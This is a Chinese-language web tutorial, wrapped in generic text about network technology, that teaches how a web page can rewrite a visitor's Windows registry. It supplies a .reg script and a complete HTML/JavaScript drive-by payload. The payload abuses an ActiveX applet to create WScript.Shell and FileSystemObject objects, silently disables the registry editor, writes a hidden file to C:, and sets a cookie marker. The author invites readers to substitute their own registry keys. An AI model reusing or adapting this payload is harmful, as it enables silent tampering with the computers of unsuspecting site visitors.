|
導讀網(wǎng)絡技術(shù)是從1990年代中期發(fā)展起來的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機整體,實現(xiàn)資源的全面共享和有機協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數(shù)據(jù)... 網(wǎng)絡技術(shù)是從1990年代中期發(fā)展起來的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機整體,實現(xiàn)資源的全面共享和有機協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數(shù)據(jù)資源、信息資源、知識資源、專家資源、大型數(shù)據(jù)庫、網(wǎng)絡、傳感器等。 當前的互聯(lián)網(wǎng)只限于信息共享,網(wǎng)絡則被認為是互聯(lián)網(wǎng)發(fā)展的第三階段。 如何利用網(wǎng)頁改寫注冊表如何利用網(wǎng)頁改寫注冊表 我們上網(wǎng)時常見到一些:“注冊表被某某網(wǎng)站改寫”或者“上了某某網(wǎng)站后,開機時會彈出對話框。”等等這一類的現(xiàn)象。其實,都只是一些網(wǎng)站利用簡單的HTML編程改寫注冊表而實現(xiàn)的。那么現(xiàn)在,就讓我們來對其作進一步的了解,看這究竟是怎么一回事兒! 不知大家對Windows系統(tǒng)注冊表了解有多少?我們知道,在Windows系統(tǒng)下,我們可以編寫注冊表腳本文件『*.reg』來實現(xiàn)對注冊表的改寫。先讓我們來看一個注冊表腳本文件: REGEDIT 4 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] "DisableRegistryTools"=DWORD:00000001不知大家看懂沒?以上這個注冊表腳本是鎖住注冊表編輯器。好了,注冊表腳本編好了,再讓我們看看怎樣將其與HTML結(jié)合。 以下是一個HTML源碼:<HTML> <HEAD> <META http-equiv=Content-Type content="text/html; charset=gb2312"> <SCRIPT language=JavaScript>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); function f() { try { a1=document.applets[0]; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); sh = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); fo = a1.GetObject(); if (document.cookie.indexOf("km169set") == -1) { sh.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", 1,"REG_DWORD"); hd=fo.CreateTextFile(); hd.write(); hd.close(); file=fo.GetFile("c:\\yntop.htm"); file.Attributes=6; var expdate = new Date((new Date()).getTime() + (1)); document.cookie="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;" } } catch(e) { } }function init() { setTimeout("f()", 1000); } init();</SCRIPT> </HEAD> </HTML>我們注意到在上面這個HTML源碼中,有一行:“HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", 1,"REG_DWORD”,拿這一行與上面那個注冊表腳本比較一下,我們就可以發(fā)現(xiàn),它們唯一的不同除了連接符不一樣,還有書寫格式的細小區(qū)別。但是這其中的區(qū)別不用我說也能夠發(fā)現(xiàn)。下面我們來仔細看一下這段HTML源碼中其他的一些語句。 相信大家都已經(jīng)看出,這段HTML源碼是利用JavaScript來實現(xiàn)對注冊表的改寫,其中最關(guān)鍵的一句也就是:sh.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", 1,"REG_DWORD");這也就是寫入注冊表的語句:sh.RegWrite。其格式為:“sh.RegWrite("注冊表鍵",鍵值,"鍵值類型");”。如果大家要改,只要將括號里的內(nèi)容改成自己的內(nèi)容,其他的均可套用,作成一個最簡單的網(wǎng)頁。 好了,在這篇文章里,我只向大家介紹怎樣編寫一個簡單的能改寫注冊表的網(wǎng)頁,其他關(guān)于注冊表的內(nèi)容,我就不在這里詳述了。最后毛窩要聲明一點:本片文章內(nèi)容有一定的危險,請大家慎重使用! 網(wǎng)絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網(wǎng)絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術(shù)都需要適時應勢,對應發(fā)展,這正是網(wǎng)絡迅速走向進步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!